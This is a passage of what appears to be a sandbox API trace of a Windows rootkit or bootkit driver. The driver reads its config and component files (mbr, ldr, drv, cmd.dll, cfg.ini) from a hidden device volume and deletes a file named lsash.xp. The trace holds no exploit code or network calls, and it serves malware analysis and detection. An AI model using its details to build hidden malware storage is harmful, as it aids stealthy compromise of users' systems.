returned 16 [0118.849] KeEnterCriticalRegion () [0118.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.849] ExFreePoolWithTag (P=0xfffffa8003bcc210, Tag=0x0) [0118.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.849] KeLeaveCriticalRegion () [0118.849] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.849] ReleaseMutex (hMutex=0xf0) returned 1 [0118.849] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.849] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.849] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.849] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.849] KeEnterCriticalRegion () [0118.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.849] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.849] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.849] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.849] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.849] IdePortDispatch () returned 0x103 [0118.849] KeWaitForMutexObject () returned 0x0 [0118.849] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.849] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.849] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.850] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.850] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.850] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.850] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.850] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.850] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.850] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.850] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.850] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.850] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.850] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.850] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.850] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.850] KeLeaveCriticalRegion () [0118.850] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.850] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.850] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.850] KeEnterCriticalRegion () [0118.850] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.850] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.850] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.850] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.850] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.850] IdePortDispatch () returned 0x103 [0118.850] KeWaitForMutexObject () returned 0x0 [0118.850] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.850] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.851] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.851] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.851] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.851] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.851] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.851] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.851] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.851] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.851] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.851] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.851] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.851] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.851] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.851] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.851] KeLeaveCriticalRegion () [0118.851] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.851] ReleaseMutex (hMutex=0x100) returned 1 [0118.851] Sleep (dwMilliseconds=0x2bf20) [0118.860] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a0a23f0, dwHighDateTime=0x1d24fa4)) [0118.860] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.860] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.860] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.860] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.860] KeEnterCriticalRegion () [0118.860] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.860] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.860] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.860] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.860] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.860] IdePortDispatch () returned 0x103 [0118.860] KeWaitForMutexObject () returned 0x0 [0118.860] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.860] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.861] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.861] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.861] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.861] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca200 [0118.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.861] KeLeaveCriticalRegion () [0118.861] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.861] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.861] KeEnterCriticalRegion () [0118.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.861] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.861] KeLeaveCriticalRegion () [0118.861] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.861] KeEnterCriticalRegion () [0118.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.861] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.861] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.861] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.861] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.861] IdePortDispatch () returned 0x103 [0118.861] KeWaitForMutexObject () returned 0x0 [0118.861] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.861] KeLeaveCriticalRegion () [0118.861] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.862] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.862] KeEnterCriticalRegion () [0118.862] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.862] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c35000 [0118.862] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.862] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.862] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.862] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.862] IdePortDispatch () returned 0x103 [0118.862] KeWaitForMutexObject () returned 0x0 [0118.862] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.862] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.862] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.862] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.862] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.862] IdePortDispatch () returned 0x103 [0118.863] KeWaitForMutexObject () returned 0x0 [0118.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.863] KeLeaveCriticalRegion () [0118.863] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.863] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.863] KeEnterCriticalRegion () [0118.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.863] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.863] KeLeaveCriticalRegion () [0118.863] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.863] KeEnterCriticalRegion () [0118.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.864] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.864] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003649ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.864] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.864] KeLeaveCriticalRegion () [0118.864] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.864] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.864] KeEnterCriticalRegion () [0118.864] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.864] ExFreePoolWithTag (P=0xfffffa8003bca200, Tag=0x0) [0118.864] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.864] KeLeaveCriticalRegion () [0118.864] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.864] ReleaseMutex (hMutex=0xf0) returned 1 [0118.864] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.864] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.864] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.864] KeEnterCriticalRegion () [0118.864] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.864] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.864] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.864] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.864] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.864] IdePortDispatch () returned 0x103 [0118.865] KeWaitForMutexObject () returned 0x0 [0118.865] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.865] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.865] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.865] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.865] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.865] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcc160 [0118.865] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.865] KeLeaveCriticalRegion () [0118.865] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.865] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.865] KeEnterCriticalRegion () [0118.865] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.865] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.865] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.865] KeLeaveCriticalRegion () [0118.865] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.865] KeEnterCriticalRegion () [0118.865] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.865] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.865] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.865] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.865] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.865] IdePortDispatch () returned 0x103 [0118.866] KeWaitForMutexObject () returned 0x0 [0118.866] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.866] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.866] KeLeaveCriticalRegion () [0118.866] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.866] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.866] KeEnterCriticalRegion () [0118.866] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.866] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c36000 [0118.866] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.866] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.866] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.866] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.866] IdePortDispatch () returned 0x103 [0118.866] KeWaitForMutexObject () returned 0x0 [0118.866] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.866] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.866] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.866] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.866] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.866] IdePortDispatch () returned 0x103 [0118.867] KeWaitForMutexObject () returned 0x0 [0118.867] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.867] KeLeaveCriticalRegion () [0118.867] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.867] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.867] KeEnterCriticalRegion () [0118.867] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.867] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.867] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.867] KeLeaveCriticalRegion () [0118.868] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.868] KeEnterCriticalRegion () [0118.868] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.868] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.868] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.868] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.868] KeLeaveCriticalRegion () [0118.868] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.868] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.868] KeEnterCriticalRegion () [0118.868] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.868] ExFreePoolWithTag (P=0xfffffa8003bcc160, Tag=0x0) [0118.868] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.868] KeLeaveCriticalRegion () [0118.868] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.868] ReleaseMutex (hMutex=0xf0) returned 1 [0118.868] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.868] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.868] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.868] KeEnterCriticalRegion () [0118.868] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.868] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.868] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.868] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.868] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.868] IdePortDispatch () returned 0x103 [0118.869] KeWaitForMutexObject () returned 0x0 [0118.869] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.869] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.869] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.869] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.869] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.869] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcedc0 [0118.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.869] KeLeaveCriticalRegion () [0118.869] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.869] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.869] KeEnterCriticalRegion () [0118.869] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.869] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.869] KeLeaveCriticalRegion () [0118.869] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.869] KeEnterCriticalRegion () [0118.869] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.869] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.869] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.869] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.869] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.869] IdePortDispatch () returned 0x103 [0118.869] KeWaitForMutexObject () returned 0x0 [0118.870] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.870] KeLeaveCriticalRegion () [0118.870] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.870] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.870] KeEnterCriticalRegion () [0118.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.870] MmMapLockedPagesSpecifyCache 